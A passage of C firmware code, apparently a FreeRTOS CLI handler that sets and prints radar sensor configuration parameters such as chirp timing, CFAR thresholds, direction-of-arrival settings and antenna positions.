uint32_t cnt = 0;
while(param2 != NULL && cnt < 10) {
cfg->dml_respwr_coef[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "dml_respwr_coef = [");
for(cnt = 0; cnt < 10; cnt++) {
if (cnt != 10 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->dml_respwr_coef[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->dml_respwr_coef[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "acc_rng_hw", len1) == 0) {
if (param2 != NULL)
cfg->acc_rng_hw = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "acc_rng_hw = %d\n\r", cfg->acc_rng_hw);
return pdFALSE;
}
if (strncmp(param1, "acc_vel_hw", len1) == 0) {
if (param2 != NULL)
cfg->acc_vel_hw = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "acc_vel_hw = %d\n\r", cfg->acc_vel_hw);
return pdFALSE;
}
if (strncmp(param1, "acc_angle_hw", len1) == 0) {
if (param2 != NULL)
cfg->acc_angle_hw = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "acc_angle_hw = %d\n\r", cfg->acc_angle_hw);
return pdFALSE;
}
if (strncmp(param1, "cas_obj_merg_typ", len1) == 0) {
if (param2 != NULL)
cfg->cas_obj_merg_typ = (uint8_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "cas_obj_merg_typ = %u\n\r", cfg->cas_obj_merg_typ);
return pdFALSE;
}
if (strncmp(param1, "sv_read_from_flash", len1) == 0) {
if (param2 != NULL)
cfg->sv_read_from_flash = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "sv_read_from_flash = %d\n\r", cfg->sv_read_from_flash);
return pdFALSE;
}
} else {
static int cc = 0;
cfg = sensor_config_get_config(cc);
static uint32_t count = 0;
uint32_t cnt = 0;
int32_t offset = 0;
switch(count) {
case 0 :
snprintf(pcWriteBuffer, xWriteBufferLen, "fmcw_startfreq = %.4f\r\n", cfg->fmcw_startfreq);
count++;
return pdTRUE;
case 1 :
snprintf(pcWriteBuffer, xWriteBufferLen, "fmcw_bandwidth = %.4f\r\n", cfg->fmcw_bandwidth);
count++;
return pdTRUE;
case 2 :
snprintf(pcWriteBuffer, xWriteBufferLen, "fmcw_chirp_rampup = %.4f\r\n", cfg->fmcw_chirp_rampup);
count++;
return pdTRUE;
case 3 :
snprintf(pcWriteBuffer, xWriteBufferLen, "fmcw_chirp_down = %.4f\r\n", cfg->fmcw_chirp_down);
count++;
return pdTRUE;
case 4 :
snprintf(pcWriteBuffer, xWriteBufferLen, "fmcw_chirp_period = %.4f\r\n", cfg->fmcw_chirp_period);
count++;
return pdTRUE;
case 5 :
snprintf(pcWriteBuffer, xWriteBufferLen, "nchirp = %d\r\n", cfg->nchirp);
count++;
return pdTRUE;
case 6 :
snprintf(pcWriteBuffer, xWriteBufferLen, "adc_freq = %u\r\n", cfg->adc_freq);
count++;
return pdTRUE;
case 7 :
snprintf(pcWriteBuffer, xWriteBufferLen, "dec_factor = %u\r\n", cfg->dec_factor);
count++;
return pdTRUE;
case 8 :
snprintf(pcWriteBuffer, xWriteBufferLen, "adc_sample_start = %.4f\r\n", cfg->adc_sample_start);
count++;
return pdTRUE;
case 9 :
snprintf(pcWriteBuffer, xWriteBufferLen, "adc_sample_end = %.4f\r\n", cfg->adc_sample_end);
count++;
return pdTRUE;
case 10 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "tx_groups = [");
for(cnt = 0; cnt < MAX_NUM_TX && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != MAX_NUM_TX - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->tx_groups[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->tx_groups[cnt]);
}
count++;
return pdTRUE;
case 11 :
snprintf(pcWriteBuffer, xWriteBufferLen, "rng_win = %s\r\n", cfg->rng_win);
count++;
return pdTRUE;
case 12 :
snprintf(pcWriteBuffer, xWriteBufferLen, "vel_win = %s\r\n", cfg->vel_win);
count++;
return pdTRUE;
case 13 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "rng_win_params = [");
for(cnt = 0; cnt < 3 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 3 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->rng_win_params[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->rng_win_params[cnt]);
}
count++;
return pdTRUE;
case 14 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "vel_win_params = [");
for(cnt = 0; cnt < 3 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 3 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->vel_win_params[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->vel_win_params[cnt]);
}
count++;
return pdTRUE;
case 15 :
snprintf(pcWriteBuffer, xWriteBufferLen, "rng_nfft = %u\r\n", cfg->rng_nfft);
count++;
return pdTRUE;
case 16 :
snprintf(pcWriteBuffer, xWriteBufferLen, "vel_nfft = %u\r\n", cfg->vel_nfft);
count++;
return pdTRUE;
case 17 :
snprintf(pcWriteBuffer, xWriteBufferLen, "rng_fft_scalar = 0x%X\r\n", cfg->rng_fft_scalar);
count++;
return pdTRUE;
case 18 :
snprintf(pcWriteBuffer, xWriteBufferLen, "vel_fft_scalar = 0x%X\r\n", cfg->vel_fft_scalar);
count++;
return pdTRUE;
case 19 :
snprintf(pcWriteBuffer, xWriteBufferLen, "fft_nve_bypass = %d\r\n", cfg->fft_nve_bypass);
count++;
return pdTRUE;
case 20 :
snprintf(pcWriteBuffer, xWriteBufferLen, "fft_nve_shift = %u\r\n", cfg->fft_nve_shift);
count++;
return pdTRUE;
case 21 :
snprintf(pcWriteBuffer, xWriteBufferLen, "fft_nve_ch_mask = 0x%X\r\n", cfg->fft_nve_ch_mask);
count++;
return pdTRUE;
case 22 :
snprintf(pcWriteBuffer, xWriteBufferLen, "fft_nve_default_value = %.4f\r\n", cfg->fft_nve_default_value);
count++;
return pdTRUE;
case 23 :
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_pk_en = %u\r\n", cfg->cfar_pk_en);
count++;
return pdTRUE;
case 24 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_pk_win_size1 = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_pk_win_size1[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_pk_win_size1[cnt]);
}
count++;
return pdTRUE;
case 25 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_pk_win_size2 = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_pk_win_size2[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_pk_win_size2[cnt]);
}
count++;
return pdTRUE;
case 26 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_pk_threshold = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_pk_threshold[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_pk_threshold[cnt]);
}
count++;
return pdTRUE;
case 27 :
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_sliding_win = %u\r\n", cfg->cfar_sliding_win);
count++;
return pdTRUE;
case 28 :
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_recwin_decimate = %u\r\n", cfg->cfar_recwin_decimate);
count++;
return pdTRUE;
case 29 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_recwin_msk = [");
for(cnt = 0; cnt < CFAR_MAX_RECWIN_MSK_LEN && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_RECWIN_MSK_LEN - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_recwin_msk[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_recwin_msk[cnt]);
}
count++;
return pdTRUE;
case 30 :
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_region_algo_type = %u\r\n", cfg->cfar_region_algo_type);
count++;
return pdTRUE;
case 31 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_os_rnk_ratio = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_os_rnk_ratio[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_os_rnk_ratio[cnt]);
}
count++;
return pdTRUE;
case 32 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_os_rnk_sel = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_os_rnk_sel[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_os_rnk_sel[cnt]);
}
count++;
return pdTRUE;
case 33 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_os_tdec = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_os_tdec[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_os_tdec[cnt]);
}
count++;
return pdTRUE;
case 34 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_os_alpha = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_os_alpha[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_os_alpha[cnt]);
}
count++;
return pdTRUE;
case 35 :
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_combine_dirs = %u\r\n", cfg->cfar_combine_dirs);
count++;
return pdTRUE;
case 36 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_combine_thetas = [");
for(cnt = 0; cnt < MAX_CFAR_DIRS && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != MAX_CFAR_DIRS - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_combine_thetas[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_combine_thetas[cnt]);
}
count++;
return pdTRUE;
case 37 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_combine_phis = [");
for(cnt = 0; cnt < MAX_CFAR_DIRS && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != MAX_CFAR_DIRS - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_combine_phis[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_combine_phis[cnt]);
}
count++;
return pdTRUE;
case 38 :
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_crswin_rng_size = %u\r\n", cfg->cfar_crswin_rng_size);
count++;
return pdTRUE;
case 39 :
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_crswin_rng_skip = %u\r\n", cfg->cfar_crswin_rng_skip);
count++;
return pdTRUE;
case 40 :
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_crswin_vel_size = %u\r\n", cfg->cfar_crswin_vel_size);
count++;
return pdTRUE;
case 41 :
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_crswin_vel_skip = %u\r\n", cfg->cfar_crswin_vel_skip);
count++;
return pdTRUE;
case 42 :
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_mimo_win = %s\r\n", cfg->cfar_mimo_win);
count++;
return pdTRUE;
case 43 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_mimo_win_params = [");
for(cnt = 0; cnt < 3 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 3 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_mimo_win_params[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_mimo_win_params[cnt]);
}
count++;
return pdTRUE;
case 44 :
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_noise_type = %u\r\n", cfg->cfar_noise_type);
count++;
return pdTRUE;
case 45 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_nr_alpha = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_nr_alpha[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_nr_alpha[cnt]);
}
count++;
return pdTRUE;
case 46 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_nr_beta1 = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_nr_beta1[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_nr_beta1[cnt]);
}
count++;
return pdTRUE;
case 47 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_nr_beta2 = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_nr_beta2[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_nr_beta2[cnt]);
}
count++;
return pdTRUE;
case 48 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_nr_rnk_ratio = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_nr_rnk_ratio[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_nr_rnk_ratio[cnt]);
}
count++;
return pdTRUE;
case 49 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_nr_rnk_sel = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_nr_rnk_sel[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_nr_rnk_sel[cnt]);
}
count++;
return pdTRUE;
case 50 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_nr_scheme_sel = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_nr_scheme_sel[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_nr_scheme_sel[cnt]);
}
count++;
return pdTRUE;
case 51 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_nr_tdec = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_nr_tdec[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_nr_tdec[cnt]);
}
count++;
return pdTRUE;
case 52 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_region_sep_rng = [");
for(cnt = 0; cnt < 3 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 3 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_region_sep_rng[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_region_sep_rng[cnt]);
}
count++;
return pdTRUE;
case 53 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_region_sep_vel = [");
for(cnt = 0; cnt < 8 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 8 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_region_sep_vel[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_region_sep_vel[cnt]);
}
count++;
return pdTRUE;
case 54 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_sogo_alpha = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_sogo_alpha[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_sogo_alpha[cnt]);
}
count++;
return pdTRUE;
case 55 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_sogo_i = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_sogo_i[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_sogo_i[cnt]);
}
count++;
return pdTRUE;
case 56 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_sogo_mask = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "0x%X, ", cfg->cfar_sogo_mask[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "0x%X]\n\r", cfg->cfar_sogo_mask[cnt]);
}
count++;
return pdTRUE;
case 57 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_ca_alpha = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_ca_alpha[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_ca_alpha[cnt]);
}
count++;
return pdTRUE;
case 58 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_ca_n = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_ca_n[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_ca_n[cnt]);
}
count++;
return pdTRUE;
case 59 :
snprintf(pcWriteBuffer, xWriteBufferLen, "doa_mode = %u\r\n", cfg->doa_mode);
count++;
return pdTRUE;
case 60 :
snprintf(pcWriteBuffer, xWriteBufferLen, "doa_num_groups = %u\r\n", cfg->doa_num_groups);
count++;
return pdTRUE;
case 61 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "doa_fft_mux = [");
for(cnt = 0; cnt < MAX_BFM_GROUP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != MAX_BFM_GROUP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->doa_fft_mux[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->doa_fft_mux[cnt]);
}
count++;
return pdTRUE;
case 62 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "combined_doa_fft_mux = [");
for(cnt = 0; cnt < 4 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 4 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->combined_doa_fft_mux[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->combined_doa_fft_mux[cnt]);
}
count++;
return pdTRUE;
case 63 :
snprintf(pcWriteBuffer, xWriteBufferLen, "doa_method = %u\r\n", cfg->doa_method);
count++;
return pdTRUE;
case 64 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "doa_npoint = [");
for(cnt = 0; cnt < MAX_BFM_GROUP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != MAX_BFM_GROUP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->doa_npoint[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->doa_npoint[cnt]);
}
count++;
return pdTRUE;
case 65 :
snprintf(pcWriteBuffer, xWriteBufferLen, "doa_samp_space = %c\r\n", cfg->doa_samp_space);
count++;
return pdTRUE;
case 66 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "doa_max_obj_per_bin = [");
for(cnt = 0; cnt < MAX_BFM_GROUP_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != MAX_BFM_GROUP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->doa_max_obj_per_bin[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->doa_max_obj_per_bin[cnt]);
}
count++;
return pdTRUE;
case 67 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_peak_scalar = [");
for(cnt = 0; cnt < 3 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 3 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->bfm_peak_scalar[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->bfm_peak_scalar[cnt]);
}
count++;
return pdTRUE;
case 68 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_noise_level_scalar = [");
for(cnt = 0; cnt < 3 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 3 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->bfm_noise_level_scalar[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->bfm_noise_level_scalar[cnt]);
}
count++;
return pdTRUE;
case 69 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_snr_thres = [");
for(cnt = 0; cnt < 2 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 2 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->bfm_snr_thres[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->bfm_snr_thres[cnt]);
}
count++;
return pdTRUE;
case 70 :
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_az_left = %.4f\r\n", cfg->bfm_az_left);
count++;
return pdTRUE;
case 71 :
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_az_right = %.4f\r\n", cfg->bfm_az_right);
count++;
return pdTRUE;
case 72 :
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_ev_up = %.4f\r\n", cfg->bfm_ev_up);
count++;
return pdTRUE;
case 73 :
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_ev_down = %.4f\r\n", cfg->bfm_ev_down);
count++;
return pdTRUE;
case 74 :
snprintf(pcWriteBuffer, xWriteBufferLen, "doa_win = %s\r\n", cfg->doa_win);
count++;
return pdTRUE;
case 75 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "doa_win_params = [");
for(cnt = 0; cnt < 3 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 3 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->doa_win_params[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->doa_win_params[cnt]);
}
count++;
return pdTRUE;
case 76 :
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_raw_search_step = %u\r\n", cfg->bfm_raw_search_step);
count++;
return pdTRUE;
case 77 :
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_fine_search_range = %u\r\n", cfg->bfm_fine_search_range);
count++;
return pdTRUE;
case 78 :
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_iter_search = %d\r\n", cfg->bfm_iter_search);
count++;
return pdTRUE;
case 79 :
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_mode = %u\r\n", cfg->bfm_mode);
count++;
return pdTRUE;
case 80 :
snprintf(pcWriteBuffer, xWriteBufferLen, "bfm_group_idx = %u\r\n", cfg->bfm_group_idx);
count++;
return pdTRUE;
case 81 :
snprintf(pcWriteBuffer, xWriteBufferLen, "ant_info_from_flash = %d\r\n", cfg->ant_info_from_flash);
count++;
return pdTRUE;
case 82 :
snprintf(pcWriteBuffer, xWriteBufferLen, "ant_info_flash_addr = 0x%X\r\n", cfg->ant_info_flash_addr);
count++;
return pdTRUE;
case 83 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "ant_pos = [");
for(cnt = 0; cnt < MAX_ANT_ARRAY_SIZE && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != MAX_ANT_ARRAY_SIZE - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "(%.2f, %.2f), ", cfg->ant_pos[cnt].x, cfg->ant_pos[cnt].y);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "(%.2f, %.2f)]\n\r", cfg->ant_pos[cnt].x, cfg->ant_pos[cnt].y);
}
count++;
return pdTRUE;
case 84 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "ant_comps = [");
for(cnt = 0; cnt < MAX_ANT_ARRAY_SIZE && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != MAX_ANT_ARRAY_SIZE - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->ant_comps[cnt]);
else
